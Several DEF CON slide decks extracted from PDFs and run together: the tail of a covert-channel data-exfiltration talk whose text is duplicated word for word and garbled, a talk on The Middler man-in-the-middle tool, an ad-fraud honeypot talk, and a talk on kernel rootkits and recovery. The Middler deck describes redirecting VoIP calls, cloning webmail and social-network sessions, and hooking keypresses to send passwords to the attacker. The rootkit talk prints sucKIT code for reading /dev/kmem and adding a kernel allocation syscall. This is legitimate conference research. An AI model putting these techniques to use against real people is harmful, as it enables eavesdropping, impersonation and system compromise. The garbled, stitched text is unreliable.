TCXf can only type and read what the user can. – The distinct properties of delta seem to be; The distinct properties of delta seem to be; • Volume Volume: transfer rate in bits per second or number : transfer rate in bits per second or number of bits at rest, and; of bits at rest, and; • Accuracy Accuracy: of data transferred or stored, and; : of data transferred or stored, and; • Structure Structure: of the data transferred, and; : of the data transferred, and; • Utility Utility: of the over-arching capability. : of the over-arching capability. August 2015 Remote Access, the APT // Ian Latter 68 The Problem? Legal .. The Problem? Legal .. • Use -v- Disclosure, Off-shore (Australian Privacy Act) Use -v- Disclosure, Off-shore (Australian Privacy Act) • An Australian organisation (APP entity) that holds personal An Australian organisation (APP entity) that holds personal information information 6.6 6.6, and makes that personal information available for , and makes that personal information available for use use 6.8 6.8 but not disclosure but not disclosure 6.11(b) 6.11(b) to an overseas recipient to an overseas recipient 8.5 8.5 is is accountable accountable 8.1 8.1 for ensuring that the overseas recipient does not for ensuring that the overseas recipient does not breach the Australian Privacy Principles breach the Australian Privacy Principles 8.2 8.2. . Personal information is Personal information is disclosed when the Australian organisation releases the disclosed when the Australian organisation releases the subsequent handling of the information from its effective control subsequent handling of the information from its effective control 8.8 8.8, , which includes disclosure through unauthorised access, if it did not which includes disclosure through unauthorised access, if it did not take reasonable steps to protect the personal information from take reasonable steps to protect the personal information from unauthorised access unauthorised access 8.10 8.10.. The reasonable steps include The reasonable steps include implementing strategies to manage, amongst other things, ICT implementing strategies to manage, amongst other things, ICT Security, data breaches and regular monitoring and review Security, data breaches and regular monitoring and review 11.8 11.8.. • But what's a reasonable monitoring step? But what's a reasonable monitoring step? August 2015 Remote Access, the APT // Ian Latter 69 History – Lampson, 1973 History – Lampson, 1973 • ““A note on the Confinement Problem” A note on the Confinement Problem” • Enforcement: The supervisor must ensure that a Enforcement: The supervisor must ensure that a confined program's input to covert channels confined program's input to covert channels conforms to the caller's specifications. This may conforms to the caller's specifications. This may require slowing the program down, generating require slowing the program down, generating spurious disk references, or whatever, but it is spurious disk references, or whatever, but it is conceptually straightforward. The cost of conceptually straightforward. The cost of enforcement may be high. enforcement may be high. A cheaper alternative (if A cheaper alternative (if the customer is willing to accept some amount of the customer is willing to accept some amount of leakage) is to bound the capacity of the covert leakage) is to bound the capacity of the covert channels. channels. August 2015 Remote Access, the APT // Ian Latter 70 History – DoD 1983-2002 (1/4) History – DoD 1983-2002 (1/4) • ““Trusted Computer Security Evaluation Trusted Computer Security Evaluation Criteria (TCSEC)” Criteria (TCSEC)” – Covert storage channels and Covert timing Covert storage channels and Covert timing channels in B2 and B3 channels in B2 and B3 • Content comes almost directly from Lampson Content comes almost directly from Lampson • Two key points – performance and the acceptable Two key points – performance and the acceptable thresh-holds (“not permissible” versus “auditable”) thresh-holds (“not permissible” versus “auditable”) August 2015 Remote Access, the APT // Ian Latter 71 History – DoD 1983-2002 (2/4) History – DoD 1983-2002 (2/4) • Performance Performance • A covert channel bandwidth that exceeds a rate of one A covert channel bandwidth that exceeds a rate of one hundred (100) bits per second is hundred (100) bits per second is considered “high” considered “high” because 100 bits per second is the approximate rate at because 100 bits per second is the approximate rate at which many computer terminals are run which many computer terminals are run. It does not seem . It does not seem appropriate to call a computer system “secure” if appropriate to call a computer system “secure” if information can be compromised at a rate equal to the information can be compromised at a rate equal to the normal output rate of some commonly used device. normal output rate of some commonly used device. – Take note! Take note! • TGXf v1f1 = 80bps; TGXf v1f2 = 160bps; TGXf v1f1 = 80bps; TGXf v1f2 = 160bps; BASH TGXf example = v1f5 BASH TGXf example = v1f5 • HDMI = 1080 x 1920 x 24bit x 24fps HDMI = 1080 x 1920 x 24bit x 24fps = 150MBps (> 1Gbps) = 150MBps (> 1Gbps) August 2015 Remote Access, the APT // Ian Latter 72 History – DoD 1983-2002 (3/4) History – DoD 1983-2002 (3/4) • Acceptability Acceptability • In any multilevel computer system there are a number of In any multilevel computer system there are a number of relatively low-bandwidth covert channels whose existence relatively low-bandwidth covert channels whose existence is deeply ingrained in the system design. Faced with the is deeply ingrained in the system design. Faced with the large potential cost of reducing the bandwidths of such large potential cost of reducing the bandwidths of such covert channels, it is felt that those with covert channels, it is felt that those with maximum maximum bandwidths of less than one (1) bit per second are bandwidths of less than one (1) bit per second are acceptable acceptable in most application environments. Though in most application environments. Though maintaining acceptable performance in some systems maintaining acceptable performance in some systems may make it may make it impractical to eliminate all covert channels impractical to eliminate all covert channels with bandwidths of 1 or more bits per second with bandwidths of 1 or more bits per second, it is , it is possible to possible to audit their use audit their use without adversely affecting without adversely affecting systems performance. systems performance. August 2015 Remote Access, the APT // Ian Latter 73 History – DoD 1983-2002 (4/4) History – DoD 1983-2002 (4/4) • Acceptability (cont) Acceptability (cont) • This audit capability provides the system This audit capability provides the system administration with a means of detecting – and administration with a means of detecting – and procedurally correcting – significant compromise. procedurally correcting – significant compromise. Therefore, a Trusted Computing Base should Therefore, a Trusted Computing Base should provide, wherever possible, the provide, wherever possible, the capability to audit capability to audit the use of covert channel mechanisms with the use of covert channel mechanisms with bandwidths that may exceed a rate of one (1) bit in bandwidths that may exceed a rate of one (1) bit in ten (10) seconds. ten (10) seconds. August 2015 Remote Access, the APT // Ian Latter 74 Punch-line – Use and Off-shore Punch-line – Use and Off-shore • The new equilibrium .. The new equilibrium .. – Use –v– Disclosure (HIPAA, FISMA, etc) Use –v– Disclosure (HIPAA, FISMA, etc) • Are functionally identical (Display = Upload) Are functionally identical (Display = Upload) • There is no pragmatic difference There is no pragmatic difference – Off-shoring / Right-Sourcing / Best-shoring Off-shoring / Right-Sourcing / Best-shoring • .. as the short-form for “remote access for un/semi- .. as the short-form for “remote access for un/semi- trusted users to access sensitive data on shore” .. trusted users to access sensitive data on shore” .. • .. if you like your data to be yours alone .. .. if you like your data to be yours alone .. • Is not currently, and is unlikely to ever be, “safe” Is not currently, and is unlikely to ever be, “safe” – How many bps data loss is "too many" to accept? How many bps data loss is "too many" to accept? August 2015 Remote Access, the APT // Ian Latter 75 Thank-you! Thank-you! – Thanks to DefCon Thanks to DefCon – Thanks to my wife and daughter Thanks to my wife and daughter – ThruGlassXfer ThruGlassXfer – Information site: Information site: http://thruglassxfer.com/ http://thruglassxfer.com/ – Project site: Project site: http://midnightcode.org/projects/TGXf/ http://midnightcode.org/projects/TGXf/ – Contact me: Contact me: Ian.Latter@midnightcode.org Ian.Latter@midnightcode.org (If you’re talking to me on social media, it’s not me) (If you’re talking to me on social media, it’s not me)
pdf
1 The Middler Reloaded It’s Not Just for the Web Anymore Def Con 17 Copyright 2009 Jay Beale and Justin Searle Jay Beale and Justin Searle InGuardians and The Middler Project 2 Copyright 2008 and 2009 Jay Beale and Justin Searle The Middler – Application-Layer Rootkit •  Is a next-generation man-in-the-middle tool that takes the focus beyond the raw mechanics of the protocol. •  Targets the user’s web applications with plug-ins that are specific to each app, abusing his privilege. •  Allows the attacker to modify the victim’s interaction with the application bi-directionally, altering his reality. •  Example: –  Make sure that he doesn’t get to see that e-mail from his girlfriend –  Send her e-mails from him, hiding them from his view of his Sent mail, and then deleting them before he sees them. 3 Copyright 2008 and 2009 Jay Beale and Justin Searle New Features We’re going to demo our new features today: •  Using a new protocol to put the victim in the Matrix: Voice over IP •  GUI for interactive victim selection and attack •  Generic session cloning tool for HTTP •  App-specific plug-ins •  Performance improvements •  Collaboration with Sophsec / libPoison 4 Copyright 2008 and 2009 Jay Beale and Justin Searle Adding Protocols We initially targeted only applications that were accessed via HTTP. We could do some neat tricks, like hooking the onkeypress() handler for an authentication form that loaded cleartext but will send the password via SSL. The password gets sent to our server, one key at a time, while the user is still entering it! But everyone at Def Con kept telling us that we should start attacking non-web applications and protocols as well. We decided to start with voice over IP (VoIP), for reasons that will become obvious in a moment. 5 Copyright 2008 and 2009 Jay Beale and Justin Searle Screwing Around with your Phone Have you ever noticed how much SIP, the dominant Voice over IP protocol, looks like HTTP? Here’s a request: 6 Copyright 2008 and 2009 Jay Beale and Justin Searle Another Cleartext Protocol? Here’s a response. Yes. We’ve found another helpless unencrypted protocol! 7 Copyright 2008 and 2009 Jay Beale and Justin Searle What about that Digest Authentication? Yes, there’s challenge-response authentication, with MD5 hashes. While we could crack the password, the point is that we don’t have to. Even better than with HTTP cookies, most SIP implementations don’t use a password after the session has been authenticated. 8 Copyright 2008 and 2009 Jay Beale and Justin Searle Hacking VoIP Here are The Middler’s current VoIP attacks. •  Send all of the inbound calls coming to a company or individual to your own phone instead. •  Redirect all of the inbound calls to your own device •  Alter incoming caller ID to confuse the victim •  Add the attacker’s phone to the simul-ring list, so the attacker can listen in •  Alter sound of voice by mixing audio in •  Remove phone’s registration so that it doesn’t get calls. 9 Copyright 2008 and 2009 Jay Beale and Justin Searle Redirect Incoming Calls The Middler can let you simply and easily redirect SOME but NOT ALL of the victim’s incoming calls. Interactively choose calls to redirect OR Set up a list of calls that the Middler should automatically redirect. 10 Copyright 2008 and 2009 Jay Beale and Justin Searle Alter Incoming Caller ID The Middler can change the caller ID details without breaking the call. Let’s confuse Jay. We’ll make his calls from his friend look like a telemarketer. Interactively alter the caller ID OR Set up a list of numbers that the Middler should automatically rewrite. 11 Copyright 2008 and 2009 Jay Beale and Justin Searle Eavesdrop and Alter Justin can eavesdrop on Jay’s call with Brandon What if we could go a step further? Justin might mix in audio telling Jay that the call is breaking up… Brandon never hears that part – Justin could impersonates Jay Brandon never knows the difference! 12 Copyright 2008 and 2009 Jay Beale and Justin Searle Demo: Unregister the Phone Justin can make Jay’s calls just stop working. He can unregister Jay’s phone and stop forwarding Jay’s phone’s registrations. Let’s see this in action. 13 Copyright 2008 and 2009 Jay Beale and Justin Searle More New Features Let’s look at the rest of those new features: •  GUI for interactive victim selection and attack •  Generic session cloning tool for HTTP •  App-specific plug-ins •  Performance improvement •  Collaboration with Sophsec via libPoison 14 Copyright 2008 and 2009 Jay Beale and Justin Searle New Feature: GUI Mode The Middler now has a GUI, to help you choose our victim carefully. Allows an attacker to find and carefully choose a target, based on the target’s online identities. •  Webmail identity •  Social networking site identity •  Next: Cleartext POP/IMAP identity? Once we select our target, what do we do with him? 15 Copyright 2008 and 2009 Jay Beale and Justin Searle Demo: GUI Let’s demonstrate the GUI here. We’ve set up a network here, with The Middler running. Let’s see what users it has already identified. 16 Copyright 2008 and 2009 Jay Beale and Justin Searle Impersonating the User The Middler lets you clone the user’s session, performing actions in parallel with the user, unbeknownst to him. On social networking sites and e-mail sites, we can subtly do what only worms did before: •  Read his Inbox •  Delete messages from his InBox •  Add messages that were never truly sent •  Create a trust relationship, abuse it, and then remove it so he never knows it existed. •  Gather full contact information for his entire network 17 Copyright 2008 and 2009 Jay Beale and Justin Searle Web Applications with Plug-Ins The Middler can let you do these kinds of attacks to these kind of applications: •  Social Networking –  Twitter –  Facebook –  LinkedIn •  Web-based E-Mail Portals –  Yahoo Mail –  Gmail The problem with all of these sites is that they take the user back to cleartext after authentication. 18 Copyright 2008 and 2009 Jay Beale and Justin Searle Web-based E-Mail Portals Post-authentication, we can: •  Read the user’s e-mail •  Harvest the address book •  Send our own e-mails •  Profile the user in other applications •  Prevent a real logout, presenting the user with an actual logout but continuing the user’s session. Think about how much information these portals have. 19 Copyright 2008 and 2009 Jay Beale and Justin Searle Social Networking Sites On social networking sites, people have strong expectations that they can keep friend/network-only posts private, readable only by their friends or even small subsets of those friends. As an attacker watching or middling a social networking session after it moves back into cleartext, you can: •  Read the user’s private entries •  Make the user’s private entries public •  Harvest the friends’ private entries •  Add your own user to the victim’s “friend” list 20 Copyright 2008 and 2009 Jay Beale and Justin Searle Cloning Arbitrary Sessions The Middler also has features that aren’t application-specific. The Middler is an HTML-aware proxy that you can set to act automatically whenever a session matches a pattern or whenever you interactively choose. First of all, The Middler can clone any user’s session for you. This is normally a very manual process. 21 Copyright 2008 and 2009 Jay Beale and Justin Searle More Attacks on the Browser The Middler can inject: •  Javascript •  IFRAMEs •  HTTP response code redirects •  HTML META redirects •  Any content you want, in replacement for any other content! It can also gain subtle control of the browser itself, by forcing an IFRAME to surf to the Browser Exploitation Framework (BeEF) For somewhat less subtlety, the Middler can make that IFRAME go to a Metasploit client-side exploit. 22 Copyright 2008 and 2009 Jay Beale and Justin Searle Why Does This All Work? Many companies/developers don’t understand that leaving the post-login session unencrypted allows the attacker to impersonate the user. For example, if you use your https://www.linkedin.com bookmark, click on “Sign In,” you’ll be taken to this URL: https://www.linkedin.com/secure/login?trk=hb_signin But then after login you’re taken to this cleartext one: http://www.linkedin.com/home 23 Copyright 2008 and 2009 Jay Beale and Justin Searle Can’t I Change It Back? You can change the URL to: https://www.linkedin.com/home …but clicking on any link will just take you right back to an HTTP URL! Unless you modify your browser or surf with a special defensive proxy, you’ll constantly be pulling down cleartext links. And it only takes one of those for me to start launching these kinds of attacks. 24 Copyright 2008 and 2009 Jay Beale and Justin Searle What about Banks? There are even still banks that encrypt everything once you log in, but feed you the initial login form cleartext. The problem for them is that if we can modify that initial page, then we can decide when to take the connection to SSL. 25 Copyright 2008 and 2009 Jay Beale and Justin Searle What’s Wrong With This Picture? 26 Copyright 2008 and 2009 Jay Beale and Justin Searle Cleartext Front Page But it says our connection will be secured! <form … action=https://www4.usbank.com/internetBanking/LoginRouter What if I were to re-write all the URLs on this site to remove the SSL? 27 Copyright 2008 and 2009 Jay Beale and Justin Searle CSRF’s Attacks Made Easier? Imagine a non-security friend on a hotel network… He types the name of his online banking site into his browser: http://www.usbank.com He’s used to the bank protecting him from himself. The site reloads the page with an HTTPS version: https://www.usbank.com. It’s already too late. It’s a race condition and he lost. 28 Copyright 2008 and 2009 Jay Beale and Justin Searle Demo: Hooking onKeyPress() I have already served him my own front page for the HTTP site, modified on the fly from the bank’s real page, but with links changed and/or JavaScript inserted. We have a cool way of taking advantage of this. What if we hook the keypress events, the same way other AJAX applications do to do word completion? Let’s demonstrate! 29 Copyright 2008 and 2009 Jay Beale and Justin Searle Knowing Where the User Has Been We get powers from middling a user that you normally associate with Cross Site Scripting vulnerabilities. For example, I can read the browser history to see what links the user has visited. If the victim has pop-blocking in place, I can even just inject Javascript into any HTTP-carried pages the user has open. 30 Copyright 2008 and 2009 Jay Beale and Justin Searle Developing Plugins We write The Middler in Python, using a plug-in architecture. It’s pretty easy to develop plug-ins. Come join us! 31 Copyright 2008 and 2009 Jay Beale and Justin Searle Credits The Middler Project has gained more developers: –  Tom Liston, exploiter of virtual machines, creator of the JavaScript password keystroke logger –  Matt Carpenter, Python god and speeder of code –  Brandon Edwards and Sophsec, creators of libPoison, the low-level network capture code that’s getting us our own hostile DHCP server. –  Tyler Reguly, beta-testing, soon to be working on software installation and update with Brandon 32 Copyright 2008 and 2009 Jay Beale and Justin Searle Speaker Bio: Justin Searle Justin Searle, a Senior Security Analyst with InGuardians, specializes in penetration testing and security architecture. Previously, Justin served as JetBlue Airway’s IT Security Architect and has provided top-tier support for the largest supercomputers in the world. Justin has taught hacking techniques, forensics, networking, and intrusion detection courses for multiple universities and corporations. Justin has presented at top security conferences including DEFCON, ToorCon, ShmooCon, and SANS. In his rapidly dwindling spare time, Justin co-leads prominent open source projects including The Middler, Samarai Web Testing Framework, and the social networking pentest tools: Yokoso! and Laudnum. He is actively working to finish the upcoming bestseller the Seven Most Deadly Social Network Hacks, with Tom Eston of the Security Justice Podcast, and Kevin Johnson of InGuardians. Justin has an MBA in International Technology and is GIAC-certified in incident handling and hacker techniques (GCIH) and intrusion analysis (GCIA). 33 Copyright 2008 and 2009 Jay Beale and Justin Searle Speaker Bio: Jay Beale Jay Beale is an information security specialist, well known for his work on threat avoidance and mitigation technology. He's written two of the most popular security hardening tools used worldwide throughout industry and government: Bastille UNIX, a system lockdown and audit tool that introduced a vital security- training component, and the Center for Internet Security's Unix Scoring Tool. Through Bastille and his work with the Center, Jay has provided leadership in the space of proactive system security. Jay also contributed to the OVAL project and the Honeynet Project.Jay has served as an invited speaker at a variety of conferences and government symposia worldwide. He's written for Information Security Magazine, SecurityFocus, and SecurityPortal. Jay has co-authored or edited nine books in the Information Security space, including six in his Open Source Security Series and two technical works of fiction in the "Stealing the Network" series. Jay is a senior security analyst and managing partner at InGuardians, where he gets to work with brilliant people on topics ranging from application penetration to virtual machine escape. Prior to this, Jay served as the Security Team Director for MandrakeSoft, helping set company strategy, design security products, and pushing security into the then third largest retail Linux distribution.
pdf
The Bieber Project Ad Tech and Fraud 101 Mark Ryan Talabis, zvelo zvelo proprietary and confidential Introduction ! Chief Security Scientist, zvelo ▫ Ad Tech Fraud Research ! Formerly, Cloud Email Threat Protection, Fireeye !  Alumni Member, Honeynet Project "  Honeypots/Honeynets ! Author, Elsevier-Syngress "  Information Security Analytics/Risk Management zvelo proprietary and confidential Main Topics ! The Business and Currency of Digital Advertising ! Ad Tech: The Ecosystem ! The Ad Fraud Problem ! Publisher-based Ad Fraud ! Non Human Traffic and the Bieber Project Total digital ad spend is estimated to be $60 billion in 2015 The Business of Digital Advertising The Currency of Digital Advertising ! Primary metric: the number of delivered, or served, impressions ! Primary problem: Not all online ads delivered actually have an opportunity to be seen ! Advertisers are obviously not interested in paying for ads that were never seen Viewable Impressions Clicks Conversions The Currency of Digital Advertising $ The Business of Digital Advertising Reference: ComScore Supply and Demand The Business of Digital Advertising TV Online Advertising VS Ad Tech: The Ecosystem Well, it’s a bit complicated… Ad Tech: The Ecosystem Let’s go through the 101 version… Advertiser Advertiser Advertiser Advertiser Agency Agency DSP Ad Networks Agency Trading Desk Ad Exchange / SSP Publisher Publisher Publisher Publisher Ad Network DMPs Other data / analytics companies DMPs DMPs Other data / analytics companies Other data / analytics companies Other data / analytics companies DMPs Process of Serving an Ad Campaign Mgmt. System User inputs info into Ad trafficker at DSP/Ad Network, etc. Campaign criteria defined Right dates, budget, CPM rate targeting criteria Creative assets IMG file Video file Javascript tag Other 3rd party pixels 1st party pixels 1. Campaign Setup 2. The Bidding Process Additional custom fields based on partners SSP woks with (e.g. data segments from DMP) DSP / Ad Network Bidder General auction information Auction type, Bidfloor, Currency Banner information Width, Height, Position Mobile app / site information Name, SSP ID, Bundle, Domain, StoreURL, IAB cats, Page cats, Section cats, Content, Keywords Device / user information Device OS, Device type, IP, Device ID, Geo, User registration data if applicable (age, gender) Auction meets campaign criteria? Bid (DSP bids via following OpenRTB bid request specs) Bid won? SSP sends winning bidder win notification Bid Request – OpenRTB format Integrated into SSP exchange to bid on auctions Auction is sent to bidders in form of Bid request Yes No: Bidder considers new bid request Yes No: Bidder considers new bid request 3. Ad Serving Ad is served (Buyer uses their own ad server of choice, either in- house, a vendor like Sizmek, or they rely on Publisher ad server. Less common, both publisher and buyer ad server is used simultaneously) Impression pixel is fired 3rd party tags fired, if applicable Ad creative loads, along with any related Javascript associated within tag Mobile user opens App App where ad is served The Ad Fraud Problem !  Deliberate practice of attempting to serve ads that have no potential to be viewed by a human user !  Lots of varying statistics regarding the extent of the problem. !  Estimates range from 13% to as high as 60% of impressions served online were “suspicious”. !  What are we doing about it? Interactive Advertising Bureau ! What is the IAB? ! Doing good things but sometimes a bit confusing to us people in security ! Released a Ad Fraud Taxonomy !  Illegitimate and Non-Human Traffic Sources ▫  Hijacked device ▫  Crawler masquerading as a legitimate user ▫  Data-center traffic !  Non-traditional / other traffic ▫  Proxy traffic ▫  Non-browser User-Agent header ▫  Browser pre-rendering !  Hijacked Tags ▫  Ad Tag Hijacking ▫  Creative Hijacking !  Site Impression Attributes ▫  Auto-Refresh ▫  Ad Density ▫  Hidden Ads ▫  Viewability ▫  Misappropriated Content ▫  Falsely Represented ▫  Non Brand Safe ▫  Contains Malware !  Ad creative / other ▫  Cookie Stuffing IABs Ad Fraud Taxonomy 101: What it Really Means There are basically 3 main types of Ad Fraud: 1 Publisher Tricks to Increase Impression Count 2 Illegal or Malicious Content 3 Use of Non Human Traffic to Increase Impressions Publisher Tricks to Increase Impression Count ! Various techniques that publishers use to make 1 impression look like more! ! Some prominent examples are: ▫ 1x1 Pixels ▫ Ad Stacking ▫ Gray Areas: Ad Clutter, Auto-play Videos Publisher Tricks to Increase Impression Count Typically advertisers will want to see this: Normal 0 0 0 Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore Ads Ads Ads Publisher Tricks to Increase Impression Count Hidden iFrames 0 0 0 Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. 1x1, nx1, 1xn, 0xn, nx0 iFrames But some publishers will do this (Hidden Ads): Publisher Tricks to Increase Impression Count Or this (Ad Stacking): Ad Stacking 0 0 0 Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Ads stacked on top of each other Ads Ads Ads Ads Illegal or Malicious Content ! There are times when fraud doesn’t directly mean increasing impressions (though it could end up that way) ! Some prominent examples are: ▫ Serving malware or adware ▫ Scams and Non Brand Safe Illegal or Malicious Content !  Next few slides are from an investigation of malware-infected traffic exhibiting ad fraudish tendencies !  The Ad Network itself was serving “dirty” inventory or at the very least “low quality” content Illegal or Malicious Content Ad network was serving malware! Illegal or Malicious Content Adware Ads that will serve you more Ads Illegal or Malicious Content Scamvertising! Use of Non Human Traffic to Increase Impressions ! Bots! This is probably the most common thing that comes to mind. ! Non Human Traffic or NHT can be more than bots though. What is the best way to investigate this? Buying Internet Traffic What is Purchased Internet Traffic made of? Can I buy internet traffic and get away with it? ? The Bieber Project Honeypot Fraudulent Impressions? Collected Information Bieber with a “Wire” Bieber with A Wire Data Stored for Analysis Traffic Vendors Traffic Vendors Traffic Vendors Traffic Vendors What is Purchased Internet Traffic Made Of? Well..obviously BOTS! (partly) Clues are in the Impression… How do we know? What are the Clues…? Browser has Suspicious User Agent… What are the Clues…? Lots of other suspicious information… •  No Plugins •  No Mime Types •  Invisible Viewport Sizes •  Zero Page and Mouse Coordinates •  No Product Identifiers It’s easy to catch “dumb” bots but what about the smarter ones? A Closer Look @ Smarter Bots This is a video demonstration of a malware that hijacks a user’s browser. A Closer Look @ Smarter Bots This is a video demonstration to show a stealthier ad fraud malware. A Closer Look @ Smarter Bots This is a video demonstration showing a smarter malware that reproduces user events What are the Clues…? For hijacked machines, we need to do some trends analysis… Example: Frequency between visits are too fast What are the Clues…? You’ll need to look at broader patterns… Example: Doesn’t help that almost all of the traffic was coming from one IP block from China… User Events Show video of user event collection… BUT it’s also made of HUMANS… Who for all intents and purposes do not know they are visiting your site Traffic Vendor Partner Site Your Site Traffic is delivered to you through: ! Pop-unders ! Pop-ups ! Frames What are the Clues…? 70% of the viewports are 1 pixel! Meaning the size of the browsers viewing your site looks like this: What are the Clues…? The window is not the active window: Your site is here So…can I buy internet traffic and get away with it? ! If an advertiser will audit the traffic and they know what to look for, you will get caught. ! If they don’t or if they don’t know what to look for, you won’t get caught. ! The “quality” of traffic is also directly proportional to how much you pay for it. ▫ The lower prices, you’ll get bots. ▫ They higher prices, you’ll get frames, popups or pop-unders. Depends. If you liked my presentation ! Visit us at zvelo.com ! Check out my books: (available on Amazon) www.zvelo.com zvelo proprietary and confidential
pdf
1 Julian Grizzard DEFCON 13 Surgical Recovery from Kernel-Level Rootkit Installations Speaker: Julian Grizzard July 2005 DEFCON THIRTEEN 2 Julian Grizzard DEFCON 13 Latest Slides and Tools PLEASE DOWNLOAD THE LATEST SLIDES AND TOOLS [ Latest slides available ] http://www.ece.gatech.edu/research/labs/nsa/presentations/dc13_grizzard.pdf [ Latest system call table tools ] http://www.ece.gatech.edu/research/labs/nsa/sct_tools.shtml [ Latest spine architecture work ] http://www.ece.gatech.edu/research/labs/nsa/spine.shtml 3 Julian Grizzard DEFCON 13 Talk Overview Talk focuses on Linux i386 based systems – Rootkit background – System call table tools • Demos – L4 microkernel introduction – Spine architecture – Intrusion recovery system (IRS) • Demos – Concluding remarks 4 Julian Grizzard DEFCON 13 Rootkit Functionality • Retain Access – Trojan sshd client with hard coded user/pass for root access – Initiate remote entry by specially crafted packet stream • Hide Activity – Hide a process including resource usage of process – Hide malicious rootkit kernel modules from lsmod 5 Julian Grizzard DEFCON 13 Additional Malware Functionality • Information harvesting – Credit cards – Bank accounts • Resource usage – Spam relaying – Distributed denial of service 6 Julian Grizzard DEFCON 13 User-Level versus Kernel-Level • User-Level – Modify/replace system binaries – e.g. ps, netstat, ls, top, passwd • Kernel-Level – Modify/replace kernel process – e.g. system call table 7 Julian Grizzard DEFCON 13 History of Kernel-Level Rootkits • Heroin – October 1997 – First public LKM • Knark – June 1999 – Highly popular LKM • SucKIT – December 2001 – First public /dev/kmem entry • Adore-ng 0.31 – January 2004 – Uses VFS redirection; works on Linux 2.6.X 8 Julian Grizzard DEFCON 13 Kernel-Level Rootkit Targets • System call table • Interrupt descriptor table • Virtual file system layer • Kernel data structures 9 Julian Grizzard DEFCON 13 Kernel Entry • Linux kernel module (LKM) • /dev/kmem, /dev/mem, /dev/port • Direct memory access (DMA) • Modify kernel image on disk 10 Julian Grizzard DEFCON 13 System Call Table Modifications • System calls are the main gateway from user space to kernel space • Most commonly targeted kernel structure • Can redirect individual system calls or the entire table 11 Julian Grizzard DEFCON 13 Entry Redirection Original read system call. No longer pointed to by SCT. Trojaned read system call. Active SCT points to it. 12 Julian Grizzard DEFCON 13 Entry Overwrite System call code overwritten; SCT still intact 13 Julian Grizzard DEFCON 13 Table Redirection  Original SCT intact  Original system calls intact  Handler points to Trojan table 14 Julian Grizzard DEFCON 13 /dev/kmem Details from SucKIT • SucKIT accesses kernel memory from user space • Redirects entire system call table • How does sucKIT find the system call table? • How does sucKIT allocate kernel memory? 15 Julian Grizzard DEFCON 13 Find System Call Handler struct idtr idtr; struct idt idt80; ulong old80; /* Pop IDTR register from CPU */ asm("sidt %0" : "=m" (idtr)); /* Read kernel memory through /dev/kmem */ rkm(fd, &idt80, sizeof(idt80), idtr.base + 0x80 * sizeof(idt80)); /* Compute absolute offset of * system call handler for kmem */ old80 = idt80.off1 | (idt80.off2 << 16); 16 Julian Grizzard DEFCON 13 Kmalloc as a System Call (sucKIT) #define rr(n, x) ,n ((ulong) x) #define __NR_oldolduname 59 #define OURSYS __NR_oldolduname #define syscall2(__type, __name, __t1, __t2) \ __type __name(__t1 __a1, __t2 __a2) \ { \ ulong __res; \ __asm__ volatile \ ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##__name) \ rr("b", __a1) \ rr("c", __a2)); \ return (__type) __res; \ } #define __NR_KMALLOC OURSYS static inline syscall2(ulong, KMALLOC, ulong, ulong); 17 Julian Grizzard DEFCON 13 Example Kernel-Level Rootkits VFS Redirection Module adore-ng SCT Table Redirection User r.tgz SCT Table Redirection User zk SCT Table Redirection User sucKIT SCT Entry Redirection Module adore SCT Entry Redirection Module knark SCT Entry Redirection Module heroin Modification Kernel Entry Rootkit 18 Julian Grizzard DEFCON 13 Talk Overview • Rootkit background • System call table tools – Demos • L4 microkernel introduction • Spine architecture • Intrusion recovery system (IRS) – Demos • Concluding remarks 19 Julian Grizzard DEFCON 13 System Call Table Tools • Developed tools that can query the state of the system call table and repair it • Tools based on sucKIT source code and work from user space • Algorithm to recover from rootkits is similar to algorithm used by rootkits 20 Julian Grizzard DEFCON 13 Algorithm (x86 architecture) 1) Copy clean system calls to kernel memory 2) Create new system call table 3) Copy system call handler to kmem 4) Query the idtr register (interrupt table) 5) Set 0x80ith entry to new handler 21 Julian Grizzard DEFCON 13 Details • Use a known good kernel image and rip out the system call table with gdb • Address of system call table must be set in system call handler 22 Julian Grizzard DEFCON 13 Copying Kernel Functions • Some trickery involved with algorithm • x86 code has call instructions with a relative offset parameter • Could recompile the code • We chose to recompute relative offset and modify the machine code 23 Julian Grizzard DEFCON 13 Demos System Call Table Tools Demonstration 24 Julian Grizzard DEFCON 13 Talk Overview • Rootkit background • System call table tools – Demos • L4 microkernel introduction • Spine architecture • Intrusion recovery system (IRS) – Demos • Concluding remarks 25 Julian Grizzard DEFCON 13 Intel Descriptor Privilege Level • Level 3 – Minimal hardware access – User space processes run at level 3 • Level 2 – Limited hardware access – N/A in Linux • Level 1 – Limited hardware access – N/A in Linux • Level 0 – Unlimited hardware access – Kernel space threads run at level 0 26 Julian Grizzard DEFCON 13 Virtual Machines/Hypervisors • VMware • User Mode Linux • Xen • L4 27 Julian Grizzard DEFCON 13 Monolithic Operating System 28 Julian Grizzard DEFCON 13 Microkernel Operating System 29 Julian Grizzard DEFCON 13 History of Microkernels • Mach project started at CMU (1985) • QNX • Windows NT • LynxOS • Chorus • Mac OS X 30 Julian Grizzard DEFCON 13 Microkernel Requirements • Tasks • IPC • I/O Support That’s it! 31 Julian Grizzard DEFCON 13 L4 System Calls (Fiasco) • 9 IPC Calls – l4_ipc_call, l4_ipc_receive – l4_ipc_reply_and_wait – l4_ipc_send_deceiting, l4_ipc_reply_deciting_and_wait – l4_ipc_send, l4_ipc_wait – l4_nchief – l4_fpage_unmap • 5 Thread calls – l4_myself – l4_task_new – l4_thread_ex_regs – l4_thread_schedule – l4_thread_switch 32 Julian Grizzard DEFCON 13 L4 IPC’s • Fast IPCS • Flexpages • Clans and chiefs • System calls, page faults are IPC’s 33 Julian Grizzard DEFCON 13 L4 I/O (from Fiasco lecture slides) • Hardware interrupts: mapped to IPC – Special thread id for interrupts – IPC sender indicates interrupt source – Kernel provides no sharing support, one thread per interrupt – Malicious driver could potentially block all interrupts if given access to PIC – Cli/sti only allowed in kernel and trusted servers • I/O memory and I/O ports: flexpages • Missing kernel feature: pass interrupt association – Security hole • I/O port access • DMA - big security risk 34 Julian Grizzard DEFCON 13 Rmgr (lecture slides) • 